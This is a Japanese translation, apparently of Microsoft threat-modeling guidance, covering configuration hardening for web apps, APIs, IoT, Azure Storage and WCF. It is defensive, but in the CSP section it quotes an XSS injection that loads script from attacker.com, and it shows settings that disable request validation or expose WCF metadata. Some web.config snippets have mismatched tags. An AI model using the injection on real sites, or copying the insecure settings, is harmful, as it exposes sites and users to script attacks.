セキュリティ フレーム:構成管理 | 対応策

製品/サービス [アーティクル]
Web アプリケーション
[データベース]
Web API
IoT デバイス
IoT フィールド ゲートウェイ
IoT クラウド ゲートウェイ
コンピューターの信頼の境界
Azure ストレージ
WCF

コンテンツ セキュリティ ポリシー (CSP) を実装し、インライン JavaScript を無効にする

タイトル 詳細
コンポーネント Web アプリケーション
SDL フェーズ Build
適用できるテクノロジ ジェネリック
属性 該当なし
参照 コンテンツ セキュリティ ポリシーの概要コンテンツ セキュリティ ポリシー リファレンスセキュリティ機能コンテンツ セキュリティ ポリシーの概要CSP が使用可能か
手順

コンテンツ セキュリティ ポリシー (CSP) は、W3C 標準の多層防御セキュリティ メカニズムです。このポリシーを使用すると、Web アプリケーション所有者が、自身のサイトに埋め込まれたコンテンツを制御できます。 CSP は、Web サーバー上で HTTP 応答ヘッダーとして追加され、ブラウザーによってクライアント側で適用されます。 これは許可リストベースのポリシーであり、信頼されたドメインのセットを Web サイトで宣言できます。このドメインから、JavaScript などのアクティブ コンテンツを読み込むことができます。

CSP のセキュリティ上の利点を次に示します。

  • XSS に対する保護: ページが XSS に対して脆弱である場合、攻撃者がそれを悪用する方法は 2 つあります。
    • <script>malicious code</script> を挿入する。 このエクスプロイトは、CSP の基本制限 1 により動作しません
    • <script src="http://attacker.com/maliciousCode.js"/> を挿入する。 攻撃者が制御するドメインは、ドメインの CSP の許可リストに追加されないため、このエクスプロイトは動作しません
  • データ流出の制御: Web ページの悪意のあるコンテンツが外部 Web サイトに接続して、データを盗もうとすると、CSP によって接続が中断されます。 接続先ドメインは、CSP の許可リストに追加されないためです
  • クリックジャッキングに対する防御: クリックジャッキングは、敵が正規の Web サイトを偽装して、ユーザーに UI 要素を強制的にクリックさせる攻撃方法です。 現時点では、クリックジャッキングに対する防御は、X-Frame-Options 応答ヘッダーを構成することで実現します。 すべてのブラウザーがこのヘッダーを使用しているわけではありません。今後は、CSP がクリックジャッキングに対する標準的な防御方法になります
  • リアルタイム攻撃レポート: CSP 対応の Web サイトがインジェクション攻撃を受けると、Web サーバーで構成されているエンドポイントへの通知が自動的にトリガーされます。 このように、CSP は、リアルタイムの警告システムとして機能します。

サンプル ポリシー:

Content-Security-Policy: default-src 'self'; script-src 'self' www.google-analytics.com 

このポリシーにより、Web アプリケーションのサーバーと Google Analytics サーバーからのみ、スクリプトを読み込むことができます。 その他のサイトから読み込まれたスクリプトは拒否されます。 Web サイトで CSP を有効にすると、XSS 攻撃を軽減するために次の機能が自動的に無効になります。

インライン スクリプトが実行されません。 インライン スクリプトの例を次に示します

<script> some JavaScript code </script>
Event handling attributes of HTML tags (for example, <button onclick="function(){}">
javascript:alert(1);

文字列はコードとして評価されません。

Example: var str="alert(1)"; eval(str);

ブラウザーの XSS フィルターを有効にする

タイトル 詳細
コンポーネント Web アプリケーション
SDL フェーズ Build
適用できるテクノロジ ジェネリック
属性 該当なし
参照 XSS 保護フィルター
手順

ブラウザーのクロスサイト スクリプト フィルターは、X-XSS-Protection 応答ヘッダー構成によって制御されます。 この応答ヘッダーには、次の値を設定できます。

  • 0: フィルターを無効にします
  • 1: Filter enabled クロスサイト スクリプティング攻撃が検出された場合、攻撃を阻止するために、ブラウザーはページをサニタイズします
  • 1: mode=block : Filter enabled. クロスサイト スクリプティング (XSS) 攻撃が検出された場合、ブラウザーは、ページをサニタイズするのではなく、レンダリングが行われないようにします
  • 1: report=http://[YOURDOMAIN]/your_report_URI : Filter enabled. ブラウザーはページをサニタイズして、違反をレポートします。

これは、任意の URI に詳細情報を送信する CSP 違反レポートを使用する Chromium 機能です。 最後の 2 つのオプションは、安全な値と見なされます。

デプロイの前に ASP.NET アプリケーションでトレースおよびデバッグを無効にする

タイトル 詳細
コンポーネント Web アプリケーション
SDL フェーズ Build
適用できるテクノロジ ジェネリック
属性 該当なし
参照 ASP.NET デバッグの概要ASP.NET トレースの概要方法:ASP.NET アプリケーションのトレースを有効にする方法:ASP.NET アプリケーションのデバッグを有効にする
手順 ページのトレースが有効になっていると、それを要求しているブラウザーも、内部サーバーの状態とワークフローのデータを含むトレース情報をそれぞれ取得します。 それが機密情報であることがあります。 ページでデバッグが有効になっている場合、サーバーでエラーが発生すると、ブラウザーに完全なスタック トレース データのサーバーが提供されます。 そのデータによって、サーバーのワークフローに関する機密情報が公開される場合があります。

信頼できるソースからのみサード パーティ製 Javascript にアクセスする

タイトル 詳細
コンポーネント Web アプリケーション
SDL フェーズ Build
適用できるテクノロジ ジェネリック
属性 該当なし
参照 該当なし
手順 サード パーティ製 JavaScript は、信頼できるソースからのみ参照してください。 参照エンドポイントは必ず TLS 上に配置されている必要があります。

認証された ASP.NET ページに、UI Redressing (クリックジャッキング) に対する防御が組み込まれていることを確認する

タイトル 詳細
コンポーネント Web アプリケーション
SDL フェーズ Build
適用できるテクノロジ ジェネリック
属性 該当なし
参照 OWASP: クリックジャッキング対策に関するチートシートIE Internals - X-Frame-Options によるクリックジャッキングへの対応
手順

クリックジャッキング (UI Redress 攻撃) では、攻撃者は透明または不透明な複数のレイヤーを使用して、実際のページではなく、その上にある別のページのボタンやリンクをユーザーにクリックさせようとします。

このレイヤーは iframe で悪意のあるページを作成することで実現し、これにより攻撃対象のページが読み込まれます。 つまり、攻撃者は、攻撃対象ユーザーのページ クリックを "ハイジャック" して、そのユーザーを別のページ (ほとんどの場合、他のアプリケーションまたはドメイン、あるいはその両方が所有するページ) に誘導します。 クリックジャッキング攻撃を防ぐには、他のドメインからのフレーミングを許可しないようブラウザーに指示する、適切な X-Frame-Options HTTP 応答ヘッダーを設定します。

X-FRAME-OPTIONS ヘッダーを設定するには、IIS web.config を使用します。フレーミングが許可されないサイトの Web.config コード スニペットは次のとおりです。

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="DENY"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

同じドメイン内のページによってのみフレーミングされるサイトの Web.config コードは次のとおりです。

    <system.webServer>
        <httpProtocol>
            <customHeader>
                <add name="X-FRAME-OPTIONS" value="SAMEORIGIN"/>
            </customHeaders>
        </httpProtocol>
    </system.webServer>

ASP.NET Web アプリケーションで CORS が有効になっている場合、信頼されたオリジンのみが許可されていることを確認する

タイトル 詳細
コンポーネント Web アプリケーション
SDL フェーズ Build
適用できるテクノロジ Web フォーム、MVC5
属性 該当なし
参照 該当なし
手順

ブラウザーのセキュリティ機能により、Web ページでは AJAX 要求を別のドメインに送信することはできません。 この制限は、同一オリジン ポリシーと呼ばれ、悪意のあるサイトが、別のサイトから機密データを読み取れないようにします。 ただし、場合によっては、他のサイトが使用できるように、API を安全に公開しなければならないこともあります。 クロス オリジン リソース共有 (CORS) はW3C 標準で、サーバーによる同一オリジン ポリシーの緩和を許可します。 CORS を使用することで、サーバーが一部のクロス オリジン要求を、その他の要求を拒否しながら、明示的に許可することができます。

CORS は、JSONP など、以前の手法に比べて安全性と柔軟性が向上しています。 基本的に、CORS の有効化とは、いくつかの HTTP 応答ヘッダー (Access-Control-*) を Web アプリケーションに追加することです。これは行う方法は複数あります。

Web.config にアクセスできる場合、CORS は、次のコードを使用して追加できます。

<system.webServer>
    <httpProtocol>
      <customHeaders>
        <clear />
        <add name="Access-Control-Allow-Origin" value="https://example.com" />
      </customHeaders>
    </httpProtocol>

Web.config にアクセスできない場合、CORS を構成するには、次の C# コードを追加します。

HttpContext.Response.AppendHeader("Access-Control-Allow-Origin", "https://example.com")

"Access-Control-Allow-Origin" 属性のオリジンのリストが、確実に有限で信頼できる一連のオリジンに設定されていることが重要という点に注意してください。 この構成が不適切だと (例: "*" に設定する)、悪意のあるサイトが、Web アプリケーションへのクロス オリジン要求を無制限にトリガーできるため、アプリケーションが CSRF 攻撃に対して脆弱になります。

ASP.NET ページで ValidateRequest 属性を有効にする

タイトル 詳細
コンポーネント Web アプリケーション
SDL フェーズ Build
適用できるテクノロジ Web フォーム、MVC5
属性 該当なし
参照 要求の検証 - スクリプト攻撃の防止
手順

要求の検証は ASP.NET 1.1 以降の機能で、エンコードされていない HTML を含むコンテンツを、サーバーが受け入れられないようにします。 この機能は、スクリプト インジェクション攻撃、つまり、クライアント スクリプト コードや HTML が知らないうちにサーバーに送信され、格納された後、他のユーザーに提供されるのを防ぐことを目的としています。 ただし、すべての入力データを適宜検証し、HTML エンコードを行うことを強くお勧めします。

要求の検証は、すべての入力データと、危険性のある値の一覧を比較することによって実行されます。 一致が見つかると、ASP.NET は HttpRequestValidationException を生成します。 要求の検証機能は既定で有効になっています。

ただし、この機能は、ページ レベルで無効にできます。

<%@ Page validateRequest="false" %> 

アプリケーション レベルでも無効にできます

<configuration>
   <system.web>
      <pages validateRequest="false" />
   </system.web>
</configuration>

要求の検証機能はサポートされていないことに注意してください。MVC6 パイプラインにも含まれていません。

ローカルでホストされている最新の JavaScript ライブラリを使用する

タイトル 詳細
コンポーネント Web アプリケーション
SDL フェーズ Build
適用できるテクノロジ ジェネリック
属性 該当なし
参照 該当なし
手順

JQuery などの標準の JavaScript ライブラリを使用している開発者は、セキュリティ上の既知の欠陥がない、一般的な JavaScript ライブラリの承認済みバージョンを使用する必要があります。 最新バージョンのライブラリには、以前のバージョンで見つかった脆弱性に対するセキュリティ更新プログラムが含まれるため、これを使用することをお勧めします。

互換性の理由により最新リリースを使用できない場合は、以下に示すバージョン以降のライブラリを使用してください。

許容される最小バージョン:

  • JQuery
    • JQuery 1.7.1
    • JQueryUI 1.10.0
    • JQuery Validate 1.9
    • JQuery Mobile 1.0.1
    • JQuery Cycle 2.99
    • JQuery DataTables 1.9.0
  • Ajax Control Toolkit
    • Ajax Control Toolkit 40412
  • ASP.NET Web Forms および Ajax
    • ASP.NET Web Forms および Ajax 4
    • ASP.NET Ajax 3.5
  • ASP.NET MVC
    • ASP.NET MVC 3.0

パブリック CDN など、外部サイトからは JavaScript ライブラリを読み込まないでください

自動 MIME スニッフィングを無効にする

タイトル 詳細
コンポーネント Web アプリケーション
SDL フェーズ Build
適用できるテクノロジ ジェネリック
属性 該当なし
参照 IE8 のセキュリティ パート V:包括的な保護MIME タイプ
手順 X-Content-Type-Options ヘッダーは、コンテンツを MIME スニッフィングしないことを開発者が指定できる HTTP ヘッダーです。 このヘッダーは、MIME スニッフィング攻撃を軽減することを目的としています。 ユーザーが制御可能なコンテンツが含まれている可能性のある各ページで、X-Content-Type-Options:nosniff HTTP ヘッダーを使用する必要があります。 この必須のヘッダーをアプリケーションのすべてのページでグローバルに有効にするには、次のいずれかを実行します

アプリケーションがインターネット インフォメーション サービス (IIS) 7 以降でホストされている場合は、web.config ファイルにヘッダーを追加します。

<system.webServer>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="nosniff"/>
</customHeaders>
</httpProtocol>
</system.webServer>

グローバルな Application_BeginRequest を使用してヘッダーを追加します

void Application_BeginRequest(object sender, EventArgs e)
{
this.Response.Headers["X-Content-Type-Options"] = "nosniff";
}

カスタム HTTP モジュールを実装します。

public class XContentTypeOptionsModule : IHttpModule
{
#region IHttpModule Members
public void Dispose()
{
}
public void Init(HttpApplication context)
{
context.PreSendRequestHeaders += newEventHandler(context_PreSendRequestHeaders);
}
#endregion
void context_PreSendRequestHeaders(object sender, EventArgs e)
{
HttpApplication application = sender as HttpApplication;
if (application == null)
  return;
if (application.Response.Headers["X-Content-Type-Options "] != null)
  return;
application.Response.Headers.Add("X-Content-Type-Options ", "nosniff");
}
}

この必須のヘッダーを特定のページでのみ有効にするには、ヘッダーを個々の応答に追加します。

this.Response.Headers["X-Content-Type-Options"] = "nosniff";

Windows Azure Web サイトで標準的なサーバー ヘッダーを削除して、フィンガープリントを残すことを回避する

タイトル 詳細
コンポーネント Web アプリケーション
SDL フェーズ Build
適用できるテクノロジ ジェネリック
属性 EnvironmentType - Azure
参照 Windows Azure Web サイトでの標準的なサーバー ヘッダーの削除
手順 Server、X-Powered-By、X-AspNet-Version などのヘッダーによって、サーバーおよび基盤のテクノロジに関する情報が公開されます。 アプリケーションにフィンガープリントが残らないように、こうしたヘッダーは非表示にすることをお勧めします。

データベース エンジン アクセスを有効にするための Windows ファイアウォールを構成する

タイトル 詳細
コンポーネント データベース
SDL フェーズ Build
適用できるテクノロジ SQL Azure、OnPrem
属性 該当なし、SQL バージョン - V12
参照 Azure SQL Database ファイアウォールを構成する方法データベース エンジンにアクセスできるように Windows ファイアウォールを構成する
手順 ファイアウォール システムは、コンピューター リソースへの不正アクセスを防ぐのに役立ちます。 ファイアウォールを経由して SQL Server データベース エンジンのインスタンスにアクセスするには、SQL Server を実行しているコンピューターで、アクセスを許可するようにファイアウォールを構成する必要があります

ASP.NET Web API で CORS が有効になっている場合、信頼されたオリジンのみが許可されていることを確認する

タイトル 詳細
コンポーネント Web API
SDL フェーズ Build
適用できるテクノロジ MVC 5
属性 該当なし
参照 ASP.NET Web API 2 でのクロス オリジン要求を有効にするASP.NET Web API - ASP.NET Web API 2 における CORS サポート
手順

ブラウザーのセキュリティ機能により、Web ページでは AJAX 要求を別のドメインに送信することはできません。 この制限は、同一オリジン ポリシーと呼ばれ、悪意のあるサイトが、別のサイトから機密データを読み取れないようにします。 ただし、場合によっては、他のサイトが使用できるように、API を安全に公開しなければならないこともあります。 クロス オリジン リソース共有 (CORS) はW3C 標準で、サーバーによる同一オリジン ポリシーの緩和を許可します。

CORS を使用することで、サーバーが一部のクロス オリジン要求を、その他の要求を拒否しながら、明示的に許可することができます。 CORS は、JSONP など、以前の手法に比べて安全性と柔軟性が向上しています。

App_Start/WebApiConfig.cs で、次のコードを WebApiConfig.Register メソッドに追加します

using System.Web.Http;
namespace WebService
{
    public static class WebApiConfig
    {
        public static void Register(HttpConfiguration config)
        {
            // New code
            config.EnableCors();

            config.Routes.MapHttpRoute(
                name: "DefaultApi",
                routeTemplate: "api/{controller}/{id}",
                defaults: new { id = RouteParameter.Optional }
            );
        }
    }
}

EnableCors 属性は、次のように、コント ローラーのアクション メソッドに適用できます。

public class ResourcesController : ApiController
{
  [EnableCors("http://localhost:55912", // Origin
              null,                     // Request headers
              "GET",                    // HTTP methods
              "bar",                    // Response headers
              SupportsCredentials=true  // Allow credentials
  )]
  public HttpResponseMessage Get(int id)
  {
    var resp = Request.CreateResponse(HttpStatusCode.NoContent);
    resp.Headers.Add("bar", "a bar value");
    return resp;
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "PUT",                          // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  [EnableCors("http://localhost:55912",       // Origin
              "Accept, Origin, Content-Type", // Request headers
              "POST",                         // HTTP methods
              PreflightMaxAge=600             // Preflight cache duration
  )]
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
}

EnableCors 属性のオリジンのリストが、確実に有限で信頼できる一連のオリジンに設定されていることが重要という点に注意してください。 この構成が不適切だと (例: "*" に設定する)、悪意のあるサイトが、API へのクロス オリジン要求を無制限にトリガーできるため、API が CSRF 攻撃に対して脆弱になります。 EnableCors は、コントローラー レベルで修飾できます。

クラスの特定のメソッドで CORS を無効にするには、次に示すように DisableCors 属性を使用できます。

[EnableCors("https://example.com", "Accept, Origin, Content-Type", "POST")]
public class ResourcesController : ApiController
{
  public HttpResponseMessage Put(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  public HttpResponseMessage Post(Resource data)
  {
    return Request.CreateResponse(HttpStatusCode.OK, data);
  }
  // CORS not allowed because of the [DisableCors] attribute
  [DisableCors]
  public HttpResponseMessage Delete(int id)
  {
    return Request.CreateResponse(HttpStatusCode.NoContent);
  }
}
タイトル 詳細
コンポーネント Web API
SDL フェーズ Build
適用できるテクノロジ MVC 6
属性 該当なし
参照 ASP.NET Core 1.0 でのクロス オリジン要求 (CORS) の有効化
手順

ASP.NET Core 1.0 では、ミドルウェアまたは MVC を使用して CORS を有効にできます。 MVC を使用して CORS を有効にすると、同じ CORS サービスが使用されますが、CORS ミドルウェアは使用されません。

方法 1 ミドルウェアで CORS を有効化:アプリケーション全体で CORS を有効にするには、UseCors 拡張メソッドを使用して、CORS ミドルウェアを要求パイプラインに追加します。 クロス オリジン ポリシーを指定するには、CORS ミドルウェアを追加するときに CorsPolicyBuilder クラスを使用します。 この作業を実行する 2 つの方法があります。

1 つ目は、ラムダで UseCors を呼び出す方法です。 ラムダは CorsPolicyBuilder オブジェクトを受け取ります。

public void Configure(IApplicationBuilder app)
{
    app.UseCors(builder =>
        builder.WithOrigins("https://example.com")
        .WithMethods("GET", "POST", "HEAD")
        .WithHeaders("accept", "content-type", "origin", "x-custom-header"));
}

2 つ目は、1 つ以上の名前付き CORS ポリシーを定義し、実行時に名前によってポリシーを選択する方法です。

public void ConfigureServices(IServiceCollection services)
{
    services.AddCors(options =>
    {
        options.AddPolicy("AllowSpecificOrigin",
            builder => builder.WithOrigins("https://example.com"));
    });
}
public void Configure(IApplicationBuilder app)
{
    app.UseCors("AllowSpecificOrigin");
    app.Run(async (context) =>
    {
        await context.Response.WriteAsync("Hello World!");
    });
}

方法 2 MVC で CORS を有効化:開発者は MVC を使用して、特定の CORS を、アクションごと、コントローラーごと、またはすべてのコントローラーに対してグローバルに適用することもできます。

アクションごと:特定のアクションに対して CORS ポリシーを指定するには、EnableCors 属性をそのアクションに追加します。 ポリシー名を入力してください。

public class HomeController : Controller
{
    [EnableCors("AllowSpecificOrigin")] 
    public IActionResult Index()
    {
        return View();
    }

コントローラーごと:

[EnableCors("AllowSpecificOrigin")]
public class HomeController : Controller
{

グローバル:

public void ConfigureServices(IServiceCollection services)
{
    services.AddMvc();
    services.Configure<MvcOptions>(options =>
    {
        options.Filters.Add(new CorsAuthorizationFilterFactory("AllowSpecificOrigin"));
    });
}

EnableCors 属性のオリジンのリストが、確実に有限で信頼できる一連のオリジンに設定されていることが重要という点に注意してください。 この構成が不適切だと (例: "*" に設定する)、悪意のあるサイトが、API へのクロス オリジン要求を無制限にトリガーできるため、API が CSRF 攻撃に対して脆弱になります。

コント ローラーまたはアクションに対して CORS を無効にするには、DisableCors 属性を使用します。

[DisableCors]
    public IActionResult About()
    {
        return View();
    }

機密データを含む Web API の構成ファイルのセクションを暗号化する

タイトル 詳細
コンポーネント Web API
SDL フェーズ デプロイ
適用できるテクノロジ ジェネリック
属性 該当なし
参照 方法: DPAPI を使用して ASP.NET 2.0 内の構成セクションを暗号化する方法保護された構成プロバイダーの指定Azure Key Vault を使用してアプリケーション シークレットを保護する
手順 Web.config、appsettings.json などの構成ファイルは、一般的に、ユーザー名、パスワード、データベース接続文字列、暗号化キーなどの機密情報の保持に使用されます。 この情報を保護しないと、アプリケーションは、アカウントのユーザー名とパスワード、データベース名、サーバー名などの機密情報を取得する、攻撃者や悪意のあるユーザーに対して脆弱になります。 構成ファイルの重要なセクションは、デプロイメント タイプ (azure/on-prem) に基づいて、DPAPI または Azure Key Vault などのサービスを使用して暗号化してください。

強力な資格情報ですべての管理インターフェイスが保護されていることを確認する

タイトル 詳細
コンポーネント IoT デバイス
SDL フェーズ デプロイ
適用できるテクノロジ ジェネリック
属性 該当なし
参照 該当なし
手順 デバイスまたはフィールド ゲートウェイによって公開される管理インターフェイスすべてを、強力な資格情報を使用して保護する必要があります。 また、WiFi、SSH、ファイル共有、FTP など、他の公開インターフェイスも強力な資格情報で保護します。 既定の脆弱なパスワードは使用しないでください。

不明なコードがデバイスで実行できないことを確認する

タイトル 詳細
コンポーネント IoT デバイス
SDL フェーズ Build
適用できるテクノロジ ジェネリック
属性 該当なし
参照 Windows 10 IoT Core でのセキュア ブートと BitLocker デバイス暗号化の有効化
手順 UEFI セキュア ブートでは、指定された機関によって署名されたバイナリの実行のみを許可するようにシステムを制限します。 この機能により、不明なコードがプラットフォームで実行できなくなり、コードによって、プラットフォームのセキュリティが低下する可能性を排除できます。 UEFI セキュア ブートを有効にして、コードに署名する信頼済み証明機関の一覧を制限し、 信頼された機関のいずれかを使用して、デバイスにデプロイされているすべてのコードに署名します。

BitLocker を使用して IoT デバイスの OS とその他のパーティションを暗号化する

タイトル 詳細
コンポーネント IoT デバイス
SDL フェーズ Build
適用できるテクノロジ ジェネリック
属性 該当なし
参照 該当なし
手順 Windows 10 IoT Core は、BitLocker デバイス暗号化の軽量バージョンを実装しており、必要な測定を行う UEFI の必要な preOS プロトコルを含む、プラットフォーム上の TPM の存在に強く依存します。 この preOS 測定により、以降の OS に、OS が起動された方法に関する明確なレコードが確実に保持されます。BitLocker を使用して OS のパーティションだけでなく、その他のパーティションも暗号化してください。このパーティションにも、機密データが格納されていることがあります。

デバイスで有効になっているのが最小サービス/機能のみであることを確認する

タイトル 詳細
コンポーネント IoT デバイス
SDL フェーズ デプロイ
適用できるテクノロジ ジェネリック
属性 該当なし
参照 該当なし
手順 ソリューションに不要な機能やサービスは OS で有効にしないでください。つまりオフにします。 たとえば、デバイスで UI をデプロイする必要がない場合は、Windows IoT Core をヘッドレス モードでインストールします。

BitLocker を使用して IoT フィールド ゲートウェイの OS とその他のパーティションを暗号化する

タイトル 詳細
コンポーネント IoT フィールド ゲートウェイ
SDL フェーズ デプロイ
適用できるテクノロジ ジェネリック
属性 該当なし
参照 該当なし
手順 Windows 10 IoT Core は、BitLocker デバイス暗号化の軽量バージョンを実装しており、必要な測定を行う UEFI の必要な preOS プロトコルを含む、プラットフォーム上の TPM の存在に強く依存します。 この preOS 測定により、以降の OS に、OS が起動された方法に関する明確なレコードが確実に保持されます。BitLocker を使用して OS のパーティションだけでなく、その他のパーティションも暗号化してください。このパーティションにも、機密データが格納されていることがあります。

インストール中にフィールド ゲートウェイの既定のログイン資格情報が変更されていることを確認します

タイトル 詳細
コンポーネント IoT フィールド ゲートウェイ
SDL フェーズ デプロイ
適用できるテクノロジ ジェネリック
属性 該当なし
参照 該当なし
手順 インストール中にフィールド ゲートウェイの既定のログイン資格情報が変更されていることを確認します

接続されているデバイスのファームウェアを最新の状態に保つためのプロセスが、クラウド ゲートウェイで実装されていることを確認する

タイトル 詳細
コンポーネント IoT クラウド ゲートウェイ
SDL フェーズ Build
適用できるテクノロジ ジェネリック
属性 ゲートウェイの選択 - Azure IoT Hub
参照 IoT Hub デバイス管理の概要Raspberry Pi 3 B+ 参照イメージを使用した Device Update for Azure IoT Hub のチュートリアル
手順 LWM2M は、IoT デバイス管理の Open Mobile Alliance のプロトコルです。 Azure の IoT デバイス管理では、デバイスのジョブを使用して物理デバイスと対話することができます。 Azure IoT Hub デバイス管理を使用して、デバイスおよびその他の構成データを定期的に最新の状態に保つためのプロセスが、クラウド ゲートウェイで実装されていることを確認します。

デバイスのエンドポイント セキュリティ制御が組織ポリシーに従って構成されていることを確認する

タイトル 詳細
コンポーネント コンピューターの信頼の境界
SDL フェーズ デプロイ
適用できるテクノロジ ジェネリック
属性 該当なし
参照 該当なし
手順 ディスクレベルの暗号化用の BitLocker、更新された署名を備えたウイルス対策、ホストベースのファイアウォール、OS アップグレード、グループ ポリシーなど、デバイスのエンドポイント セキュリティ制御が組織のセキュリティ ポリシーに従って構成されていることを確認します。

Azure ストレージ アクセス キーの管理がセキュリティで保護されていることを確認する

タイトル 詳細
コンポーネント Azure Storage
SDL フェーズ デプロイ
適用できるテクノロジ ジェネリック
属性 該当なし
参照 Azure Storage セキュリティ ガイド - ストレージ アカウント キーの管理
手順

キー記憶域:Azure Storage アクセス キーはシークレットとして Azure Key Vault に格納し、アプリケーションで Key Vault からキーを取得することをお勧めします。 その理由は次のとおりです。

  • アプリケーションではストレージ キーが構成ファイルでハードコーディングされないため、特定のアクセス許可を持たない誰かがキーへのアクセス権を取得する抜け道がなくなります
  • Azure Active Directory を使用して、キーへのアクセスを制御できます。 つまり、アカウント所有者が、Azure Key Vault からキーを取得する必要があるいくつかのアプリケーションに、アクセス権を付与できます。 アクセス許可が付与されていないアプリケーションが、キーにアクセスすることはできません
  • キーの再生成:セキュリティ上の理由から、Azure ストレージ アクセス キーを再生成するプロセスを設定することをお勧めします。 キーの再生成を計画する理由と方法の詳細については、Azure Storage セキュリティ ガイドのリファレンス記事を参照してください

Azure Storage で CORS が有効になっている場合、信頼されたオリジンのみが許可されていることを確認する

タイトル 詳細
コンポーネント Azure Storage
SDL フェーズ Build
適用できるテクノロジ ジェネリック
属性 該当なし
参照 Azure Storage サービスの CORS のサポート
手順 Azure Storage では、CORS (クロス オリジン リソース共有) を有効にできます。 ストレージ アカウントごとに、そのストレージ アカウントのリソースにアクセスできるドメインを指定できます。 既定では、すべてのサービスで CORS が無効です。 CORS を有効にするには、REST API またはストレージ クライアント ライブラリを使用して、サービス ポリシーを設定するいずれかのメソッドを呼び出します。

WCF のサービス調整機能を有効にする

タイトル 詳細
コンポーネント WCF
SDL フェーズ Build
適用できるテクノロジ .NET Framework 3
属性 該当なし
参照 MSDNFortify Kingdom
手順

システム リソースの使用に制限を設定しないと、リソースが使い果たされ、最終的にはサービス拒否攻撃につながる可能性があります。

  • 説明: Windows Communication Foundation (WCF) は、サービス要求をスロットルする機能を提供します。 許可するクライアント要求が多すぎると、システムに要求が殺到し、リソースが使い果たされる可能性があります。 一方、サービスへの要求を許可する数が少なすぎると、正当なユーザーがサービスを使用できなくなる場合があります。 各サービスを個別に調整および構成して、適切な量のリソースを許可する必要があります。
  • 推奨 WCF のサービス調整機能を有効にして、アプリケーションに適した制限を設定してください。

調整が有効になっている構成の例は次のとおりです。

<system.serviceModel> 
  <behaviors>
    <serviceBehaviors>
    <behavior name="Throttled">
    <serviceThrottling maxConcurrentCalls="[YOUR SERVICE VALUE]" maxConcurrentSessions="[YOUR SERVICE VALUE]" maxConcurrentInstances="[YOUR SERVICE VALUE]" /> 
  ...
</system.serviceModel> 

WCF - メタデータからの情報の漏えい

タイトル 詳細
コンポーネント WCF
SDL フェーズ Build
適用できるテクノロジ .NET Framework 3
属性 該当なし
参照 MSDNFortify Kingdom
手順 攻撃者がメタデータからシステム情報を入手し、その情報を攻撃方法を計画する際に悪用することがありますが、 WCF サービスが、メタデータを公開するように構成されている場合があります。 メタデータには詳細なサービス情報が含まれているため、運用環境ではブロードキャストしないでください。 ServiceMetaData クラスの HttpGetEnabled / HttpsGetEnabled プロパティは、サービスでメタデータを公開するかどうかを定義します

次のコードは、サービスのメタデータをブロードキャストするよう WCF に指示しています

ServiceMetadataBehavior smb = new ServiceMetadataBehavior();
smb.HttpGetEnabled = true; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb); 

運用環境ではサービス メタデータをブロードキャストしないでください。 ServiceMetaData クラスの HttpGetEnabled/HttpsGetEnabled プロパティを false に設定します。

次のコードは、サービスのメタデータをブロードキャストしないよう WCF に指示しています。

ServiceMetadataBehavior smb = new ServiceMetadataBehavior(); 
smb.HttpGetEnabled = false; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb);